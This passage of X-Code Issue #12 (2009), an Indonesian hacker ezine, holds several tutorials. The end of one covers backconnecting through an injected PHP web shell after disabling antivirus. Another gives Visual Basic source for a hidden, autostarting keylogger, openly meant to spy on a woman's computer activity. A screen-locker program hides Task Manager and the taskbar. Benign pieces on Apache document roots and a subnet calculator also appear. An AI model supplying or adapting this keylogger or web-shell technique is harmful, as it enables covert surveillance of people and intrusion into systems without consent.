penulis memakai media ini karena file ini bisa “membutuhkan” proxy (http://www.beenuarora.com/code/schemafuzz.py http://www.beenuarora.com/code/schemafuzz.py)) - Sedikit otak Teknik: - Pertama uninstall antivirus anda, karena ini akan mendetect netcat kita. - Siapkan PHPshell yang kita inject. Kemudian pilih 2 pilihan dari panel c100/locus7 yaitu backconnection atau backdoorhost.
-
Pada contoh kali ini saya saya akan memilih “Backdoor “Backdoor host” sebagai media backconnection ke computer saya :D
Yogyafree © 2009
-55-
X Code | Issue #12
-
Setelah itu kita siapkan netcat dan kita jalankan :D, terlebih dahulu… extrak nc111nt.zip pada drive c:/nc111nt/ karena mudah di hafal. Jalankan netcat dengan membuka jendela dos “START >> RUN >> CMD”
-
-
Kalau sudah connect… kita tinggal download dan menjalankan schemafuzz, schemafuzz, dari sini saya tidak akan menjelaskan tutorial schemafuzz dan tidak diperlukan tutorial schemafuzz itu sendiri, karena pada panel help schemafuzz sudah dijelaskan command schemafuzz-nya. Lagian saya tidak menganggap anda bodoh sampai menuliskan tutorial schemafuzz ☺ (explore your brain)
Berikut saya sertakan gambar dari result tutorial ini.
Tambahan: Sebenarnya ini adalah cara alternative, kita juga bisa menjalankan file phyton melalui shell… akan tetapi… kita tidak bisa melihat proses waktu file phyton kita jalankan… belom lagi kalu proses tersebut cukup lama… dan itu bisa membuat tampilan browser b lank…. Demikian tutorial dari saya
☺
Yogyafree © 2009
-56-
X Code | Issue #12 Regard Xshadow No greets Only thanks to: Inc0mp13te, IndoUnderground, cyber_tomat, gblack, k0il, jack-, X-Code community, CukDu$ community, dan temen2 yang lupa namanya lom saya sebutkan…
Yogyafree © 2009
-57-
X Code | Issue #12
Mengubah Document Root pada Localhost Penulis : ????
Document Root
Aduh..seneng deh klo artikel ini ditampilkan ☺ . Oia..kali ini saia ingin berbagi pengetahuan neh tentang localhost. Bagi para master mah ini udah bukan hal asing lagi kali yah..hehehe ☺. Tapi gpp, ilmu untuk semua umur dan kalangan kan? Yaudah, klo gitu langsung ajah yah.. Biasanya kan, tempat kita menyimpan file² yang ingin ditampilkan di Localhost itu kan di drive C tuh. Pertanyaannya bisa ngga seh klo kita simpan di drive lain? Drive D atau di Flashdisk kita? Jawabannya tentu saja bisa. Mari kita tengok dulu file yang menentukan default ‘document root’nya, biasanya seh namanya ‘httpd.conf’. Dibawah ini contoh file httpd.conf pada XAMPP (hanya sebagian saja) :
Nah, dari situ ajah udah kelihatan tuh configurasi yang menentukan document root-nya (lihat pada baris 176 dan 203). So? Jikalau Anda memakai XAMPP seperti saia, semua file yang akan ditampilkan di localhost harus berada dalam directory tersebut. Nah, bagaimana dengan selain pemakai XAMPP? Tenang ajah, tinggal cari ajah file yang namanya httpd.conf qo ☺. Terus, kalau kita mau mengubah document rootnya, tinggal ubah ajah tuh yang saia tandain. Contohnya seperti punya saia ini :
Yogyafree © 2009
-58-
X Code | Issue #12
Yaps, itu misalnya punya saia. Saia memfokuskan file-file pada localhost pada drive D:\[l0c4LH0sT], karena pada drive C saia f okuskan kepada system ajah ☺. Bagaimana cara menggantinya? Buka dulu file httpd.conf dengan text editor kalian, lalu gunakan fasilitas FIND dengan keyword ‘ documentroot’, sampai bertemu dengan barisan seperti yang kita lihat diatas. Lalu tinggal ganti sesuai dengan keinginan kita. phpMyAdmin
Nah, masalahnya bagaimana kalau mengakses phpMyAdmin? Kalau kita baru saja mengedit file httpd.conf-nya, ketika kita mengakses phpMyAdmin, pasti ngga muncul? Mengapa demikian? Karena tidak terdapat pada document root-nya. So gimana dunk? Gampang ajah, tinggal kamu copy folder phpMyAdmin yang ada pada dirve C ke document root sesuai configurasi kita masingmasing. Referensi : [1] My Beloved College, PalComTech - - - - - - - - - - end of story - - - - - - - - - -
Yogyafree © 2009
-59-
X Code | Issue #12
Membuat Keylogger Sendiri Penulis : dokter^cinta
Clue : ada seorang cewek yang cantik yang sangat menawan hatiku namun tiada daya upaya ku untuk dapat tau identitas nya seperti : - email - Friendster / facebook - data pribadi dan aktifitas nya bingung 7 keliling aku mencari kesana kesini identitas nya namun tetap saja tidak ketemu. mau kenalan tapi malu..... karna dia sungguh menawan hati ku lalu terpikir olehku untuk mengintip aktifitas nya dan terpikir olehku program perekam aktifitas yaitu keylogger / sejenis nya di komputer dan memasang nya di tempat dia biasa main, namun begitu aku pasang, ke detect anti virus, duh gimana dunk????????? DEVIL mode : nah terpikir oleh ku ngapain pake keylogger buatan orang toh kita sendiri bisa membuat keylogger dan tidak terdeteksi antivirus lagi. nah loh.... gimana tuh Devil Action : persiapan : 1. 1 bungkus rokok 2. 1 jus alpukat (jus favorit ku) 3. cemilan 4. software tambahan Visual Basic mulai : buka visual basic (beli program asli nya ya, jangan bajakan) trusss kita butuh main form dan begitu program di jalankan semua nya serba tersembunyi baik oleh mata kita maupun oleh komputer klik 2 kali pada form lalu isi code di b awah ini ====== code ========== Private Sub Form_Load() Me.Visisble = False event App.TaskVisible = False End Sub ===================== trus apa lagi ya ??????? tentu nya kita harus merekam aktifitas yang di lakukan pada komputer ada 3 metode yang dapat kita gunakan yaitu :
Yogyafree © 2009
-60-
X Code | Issue #12
- GetAsyncKeyState - GetKeyboardState - Windows Hooks truss gimana dunk???? pake yang mudah aja yah kita pake GetAsyncKeyState .... ngapain pake yang susah lalu kita ketikkan lagi code dibawah ini ============code ========== Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer =========================== truss apa lagi yaa??????? kita gunakan imajinasi kita nah kita kan pengen program ini berjalan selama sistem operasi berjalan jadi ada 2 kemungkinan yang bisa kita gunakan yaitu : Do While 1=1 'untuk (GetAsyncKeyState) function Loop dan Private Sub tmrTimer_Timer() 'untuk lanjutkan command keystroke End Sub nah pilih yang mana ????? yang mudah aja yah kita pake timer lalu kita tambahkan object timer di form kita kemudian kita harus bisa menyuruh komputer agar bisa membaca apakah keyboard di tekan apa tidak logika nya : If GAKS(65)<>0 Then Msgbox "tombol 'A' tidak di pencet" Else Msgbox "tombol 'A' di pencet" End If nahhh kita tentu harus menyimpan file nya agar kita bisa mengintip apa yang dia kerjakan. maka kita harus menambahkan kode di bawah ini pada object timer ========= code ======= Private Sub tmrTimer_Timer() Dim i As Integer Const timelimit As Integer = 10 Static data As String For i=0 To 255 'for all the ASCII codes If GAKS(i)<>0 Then If count(i) = 0 Then 'if the t he key has just been pressed data = data & Chr(i) ElseIf count(i) < timelimit Then count(i) = count(i) + 1 'add 1 to the key count Else count(i) = 0 'initialize the count data = data & Chr(i) End If Else 'if the key is not being b eing pressed count(i) = 0 End If Next i Open App.Path & "\logfile.txt" For Append As #1 'tempat dimana kita menyimpan file nya Print #1, Chr(keycode); Close #1 End Sub ======================
Yogyafree © 2009
-61-
X Code | Issue #12 truss apa lagi dunk???? jangan kebanyakan nanya.... compile file nya jadi .exe dan masukkan ke komp uter lalu set program kita di auto startup di regedit selesai =================================================== ================================= ==================================== ================== WARNING !!! saya tidak bertanggung jawab atas penyalahgunaan dari artikel ini dan sekali lagi, ini hanya sebagai ilmu pengetahuan belaka jadi sekali lagi ... PLEASE DONT TRY THIS AT OTHER PEOPLE PCS TRY THIS WITH YOUR OWN RISK DOKTER^CINTA ..:: LOVE IS A BIG POWER ::.. #indohacking, #antihackerlink, #Xcode and #jam5 ================================= ================= ================================== ==================================== ==================
Yogyafree © 2009
-62-
X Code | Issue #12
Mengunci Windows Penulis : ^XmoenseN^ , (
[email protected] )
U
ntuk Membuat program pengunci windows, tidaklah perlu susah, Pada kesempatan ini saya mencoba memberikan contoh program tersebut. (Source code terdapat dalam bonus X Code #12) Di Sini saya menggunakan VB 6. Yang di perlukan adalah : 1 buah form 2 buah label 1 text 2 timer Tampilan :
ketikan kode di bawah ini ; Option Explicit Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long Dim hPos As Long Dim ShowObj As Boolean Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer) ShowObj = True hPos = 0 End Sub Private Sub Form_Load() On Error Resume Next EnumWindows AddressOf MinimizeAllWindows, ByVal 0& SetCursorPos Text2.Left + 150, Text2.Top + 11 Me.Hide ShowObj = True tunggu 1 PrintScreen Me tunggu 1 Me.Show
Yogyafree © 2009
-63-
X Code | Issue #12 Timer1.Enabled = True Timer2.Enabled = True End Sub Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) 'If Button <> 0 Then ShowObj = True hPos = 0 'End If End Sub Private Sub Text2_KeyPress(KeyAscii As Integer) On Error Resume Next If KeyAscii = 13 Then If (Text2.Text = GlobalAdminPwd) Then Timer1.Enabled = False Timer2.Enabled = False LetShowWindow Unload Me MsgBox "Windows Berhasil Di Buka", 64 Else Text2.Text = "" End If KeyAscii = 0 End If End Sub Private Sub Timer1_Timer() LetHideWindow Me.HWND BringWindowToTop Me.HWND End Sub Private Sub Timer2_Timer() On Error Resume Next If ShowObj Then If Text2.Visible = False Then Text2.Visible = True Shape1.Visible = True Shape2.Visible = True Label1.Visible = True Label2.Visible = True Image1.Visible = True SetCursorPos Text2.Left + 150, Text2.Top + 10 End If Else If Text2.Visible = True Then Text2.Visible = False Shape1.Visible = False Shape2.Visible = False Label1.Visible = False Label2.Visible = False Image1.Visible = False End If End If If hPos < 10 Then hPos = hPos + 1 Else ShowObj = False End If End Sub Sub tunggu(miliSecond As Single) Dim pos As Single Dim H pos = 0.00001 H = miliSecond While pos < H DoEvents If pos < H Then pos = pos + 0.00001 End If
Yogyafree © 2009
-64-
X Code | Issue #12 Wend End Sub dan untuk Modulenya adalah : Option Explicit Public Const GlobalAdminPwd = “X-Code Padang” Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long Private Type OSVERSIONINFO dwOSVersionInfoSize As Long dwMajorVersion As Long dwMinorVersion As Long dwBuildNumber As Long dwPlatformId As Long szCSDVersion As String * 128 End Type
Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Boolean Declare Function IsWindowVisible Lib "user32" (ByVal HWND As Long) As Long Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal HWND As Long, ByVal lpString As String, ByVal cch As Long) As Long Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal HWND As Long) As Long Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long Declare Function ShowWindow Lib "user32" (ByVal HWND As Long, ByVal nCmdShow As Long) As Long Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Declare Function BringWindowToTop Lib "user32" (ByVal HWND As Long) As Long Private Declare Function BitBlt Lib "gdi32" (ByVal hDCDest As Long, B yVal XDest As Long, ByVal YDest As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hDCSrc As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long Private Declare Function GetDesktopWindow Lib "user32" () As Long Private Declare Function GetWindowDC Lib "user32" (ByVal HWND As Long) As Long Sub PrintScreen(picTmp As Object, Optional WidthDesk As Long = -1, Optional HeightDesk As Long = 1) On Error Resume Next Dim hWndDesk As Long Dim hDCDesk As Long picTmp.Cls If WidthDesk <= 0 Then WidthDesk = Screen.Width \ Screen.TwipsPerPixelX If HeightDesk <= 0 Then HeightDesk = Screen.Height \ Screen.TwipsPerPixelY hWndDesk = GetDesktopWindow() hDCDesk = GetWindowDC(hWndDesk) Dim H As Long, W As Long H = HeightDesk / 2 W = WidthDesk / 2 Call BitBlt(picTmp.hDC, 0, 0, WidthDesk, HeightDesk, hDCDesk, 0, 0, vbSrcCopy) picTmp.Picture = picTmp.Image End Sub Sub LetHideWindow(HWND As Long) Dim H As Long H = FindWindow("#32770", "Windows Task Manager") If H Then ShowWindow H, 0 H = FindWindow("#32771", vbNullString) If H Then ShowWindow H, 0 H = FindWindow("BaseBar", vbNullString) If H Then ShowWindow H, 0 H = FindWindow("Shell_TrayWnd", vbNullString)
Yogyafree © 2009
-65-
X Code | Issue #12 If H Then ShowWindow H, 0 If GetVersi = "W98" Then SystemParametersInfo 97, 1&, 0&, 0 Else End If 'If hWnd <> 0 Then BringWindowToTop hWnd End Sub Sub LetShowWindow() Dim H As Long H = FindWindow("Shell_TrayWnd", vbNullString) If H Then ShowWindow H, 1 If GetVersi = "W98" Then SystemParametersInfo 97, 0&, 0&, 0 Else End If End Sub Public Function MinimizeAllWindows(ByVal HWND As Long, ByVal lParam As Long) As Boolean On Error Resume Next Dim sSave As String, Ret As Long Ret = GetWindowTextLength(HWND) sSave = Space(Ret) GetWindowText HWND, sSave, Ret + 1 If sSave <> "" Then If IsWindowVisible(HWND) Then Select Case LCase(sSave) Case "program manager", "reform client", LCase(App.Title), "reform system" Case Else ShowWindow HWND, 2 End Select End If End If MinimizeAllWindows = True End Function
Function GetVersi() As String Dim OSInfo As OSVERSIONINFO, Ret& OSInfo.dwOSVersionInfoSize = Len(OSInfo) Ret& = GetVersionEx(OSInfo) If Ret& = 0 Then MsgBox "Error Getting Version Information", 16 Select Case OSInfo.dwPlatformId Case 0 GetVersi = "W32" Case 1 GetVersi = "W98" Case 2 GetVersi = "W2K" End Select End Function Catatan : Public Const GlobalAdminPwd = “X-Code “X-Code Padang” Padang” X-Code Padang di module adalah passwords untuk membuka windows. sekian dulu artikel saya, mohon maaf kalau ada kesalahan.
Referensi : VBBEGO Thanks All Friend
Yogyafree © 2009
-66-
X Code | Issue #12
Membuat Program Management IP Penulis : ^XmoenseN^ , (
[email protected] )
M
anagement ip adalah mengatur jumlah computer dengan subnet masknya. Ide ini berinspirasi ketika belajar “Jaringan Komputer”, saat itu saya baru mengetahui cara menghitung ip address dengan Subnetmasknya. Dulu saya sih isi subnetmasknya 0 (255.255.255.0 ) ini untuk kelas kelas C. Ehh ternyata angka 0 di belakang tersebut bisa membuat efek jaringan menjadi lambat. Pada kali ini saya akan mencoba membuatkan sebuah program management Ip menggunakan java, saya akan menggunakan “Net Beans 6.0”. (Source code terdapat dalam bonus X Code #12) Tampilan seperti berikut :
Komponen yang di gunakan adalah : 2 buah swing.JButton 11 Buah swing.Jlabel 15 Buah awt.TextField Pada JButton Proses IP ketikan kode berikut ini : int client=0,awal=0,akhir=0,sub=0; client=Integer.parseInt(vclient.getText()); if(client == 0) { awal=000; akhir=000; sub=000; } else if (client == 1) { awal=254; akhir=0; sub=254; }else if (client <=3){ awal=249; akhir=249+client; sub=252; } else if (client <= 7) {
Yogyafree © 2009
-67-
X Code | Issue #12 awal=241; akhir=241+client; sub=248; } else if (client <= 15) { awal=225; akhir=225+client; sub=240; } else if (client <= 31) { awal=193; akhir=193+client; sub=244; } else if (client <= 63) { awal=129; akhir=129+client; sub=191; } else if (client <= 127) { awal=1; akhir=1+client; sub=128; } else if (client <= 255) { awal=1; akhir=254; sub=0; } else if (client >=255) { awal=000; akhir=000; sub=000; } vawal.setText(String.valueOf(awal)); vakhir.setText(String.valueOf(akhir)); vsub.setText(String.valueOf(sub)); vawal1.setText(String.valueOf(awal)); vakhir1.setText(String.valueOf(akhir)); vsub1.setText(String.valueOf(sub)); } Pada JButton Exit ketikan perintah ini : this.dispose(); Variable Text.Field adalah adalah berikut ini :
Setelah semua code di ketikan, maka tekan “F9” Apabila sukses, seperti gambar di bawah ini :
Yogyafree © 2009
-68-
X Code | Issue #12
Lalu coba jalankan dengan cara menekan tombol “ Shift + F6 “. Masukan jumlah clientnya, dengan secara otomatis Ip awal dan IP akhir dengan Subnet Masknya akan terbentuk. Source Code bisa anda dapatkan di Artikel ini. Akhir kata saya ucapkan terima kasih telah membaca tulisan yang kurang berguna ini. Terima Kasih : Kepada Bapak Yuyu ( Selaku Dosen Jaringan Komputer ) Kepada Ortu saya Kepada Semua Teman Di Kampus, terutama kepada mahasiswa Sistem Komputer ( SK-1 ) tahun 2006. Kepada Crew dan anggota X-Code seluruh tanah air. Kepada Yuni Roza, yang selalu memberikan nesehat dan telah memperhatikan saya. Kepada Blank_XyS yang telah memberikan Inspirasi, ngak capek kerja terus nih. Segala kritik dan saran silahkan kirimkan ke :
[email protected]
author : ^XmoenseN^ Email : XmoenseN [at] gmail.com level bacaan : Pemula Date: 1 Febuari 2009 Time: : 22.00 – 23.00 wib http://XmoenseN.blogspot.com
Yogyafree © 2009
-69-
X Code | Issue #12
Ketentuan menjadi penulis X-Code Magazine
X Code ,-----------------------------------------------------,----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------,---, ,---,---,---,---, ,---,---,---,---, ,---,---,---,---, ,---,---,---, | |Esc Esc| | | F1| F2| F3| F3| F4| | F5| F6| F7| F8| | F9|F10|F11|F12| F9|F10|F11|F12| |Print|scroll |pause | O O O | |---' `---‘---`---`---‘ `---`---`---`---‘ `---`---`---`---‘ `---`---`---‘ Num Caps scroll | | Yogya Family Code – X Code – Yogyafree (2008) Lock Lock Lock | |---,---,---,---,---,---,---,---,---,---,---,---, |---,---,---,---,---,--,---,---,---,---,---,---,---,-------, ---,-------, ,---,---,---, ,---,---,---,---, | ~ | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 0 | [ | ] | <| |Insert |Home |pageup | |Numlo | / | * |-| |---'-,-'-,-'-,-'-,-'-,-'-,-'-,-'-,-'-,-'-,-'-,-' |---'-,-'-,-'-,-'-,-'-, -'-,-'-,-'-,-'-,-'-,-'-,-'-,-'-,-----| -,-'-,-----| `---'---'---‘ `---‘---‘---‘---‘ | ->| | Q | W | E | R | T | Y | U | I | O | P | / | = | \ | |Delete |end |pagedow ||7 | 8 | 9 | | |-----',--',--',--',--',--',--',--',--',--',--',|-----',--',--',--',--' ,--',--',--',--',--',--',--',--'-----| -',--'-----| `---‘---‘---‘ `---‘---‘---‘ + | | Caps | A | S | D | F | G | H | J | K | L | : | “ | Enter | | 4 | 5 | 6 | | |------'-,-'-,-'-,-'-,-'-,-'-,-'-,-'-,-'-,-'-,-'|------'-,-'-,-'-,-'-,'-,-'-,-'-,-'-,-'-,-'-,-'-,-'--------| ,-'--------| ,---, `---‘---‘---‘---‘ | Shift | Z | X | C | V | B | N | M | < | > | ? | Shift | | ^ | | 1 | 2 | 3 | | |------,-',--'--,'---'---'---'---'---'---'-,-'--|------,-',--'--,'---'--'---'---'---'---'-,-'---',--,------| ',--,------| ,---,---,---, `---‘---‘---‘ | | ctrl | | alt | space | alt | | ctrl | | < | v | > | | 0 |del del| | | '------'--'-----'--------------------------'----'------'--'-----'-------------------------'------'--'------' -'--'------' `---‘---‘---‘ `---‘---‘---‘---‘ | `----------------------------------------------`------------------------------------------------------------------------------------------------------------------------------------
Isi materi : o Kategori Komputer umum o Kategori Pemograman o Kategori Hacking Windows / Linux / FreeBSD / OpenBSD / BeOS Etc o Kategori Cracking o Kategori Phreaking Kirimkan tulisan anda dengan : o Filetype : .Doc o Page Setup : Paper size = Letter o Line spacing : single o Font : Century Gothic, size Judul Judul = 18 dan paragraph = 10 Kirimkan tulisan anda ke Redaksi X-Code Magazine : [1]
[email protected] [2]
[email protected] Subject : Tutorial untuk X-Code 12(Judul artikel anda) Attachment : JudulTutorAnda.zip atau tutorJudul.rar tutorJudul.rar (pilih salah satu format). Anda boleh menyertakan source code ke dalam file zip Artikel akan diseleksi. Jika sesuai dengan kriteria, maka kami akan memasang artikel anda di XCode Magazine 12. Redaksi berhak mengedit isi tulisan sesuai kebutuhan. Terima kasih atas perhatiannya.
http://www.yogyafree.net // Xcode – ezine, Indonesian Hackers electronic paper ------------------------------------------------------e ------------end nd of issue--------------------issue------------------------------------------------------- Xcode #12 [c] 2009
Yogyafree © 2009
//
-70-
X Code | Issue #12
Iklan – Banner – Donasi – Dukungan Yogyafree/Xcode/Yogya Yogyafree/Xcode/Yogya Family Code
Yogyafree © 2009
untuk
Komunitas
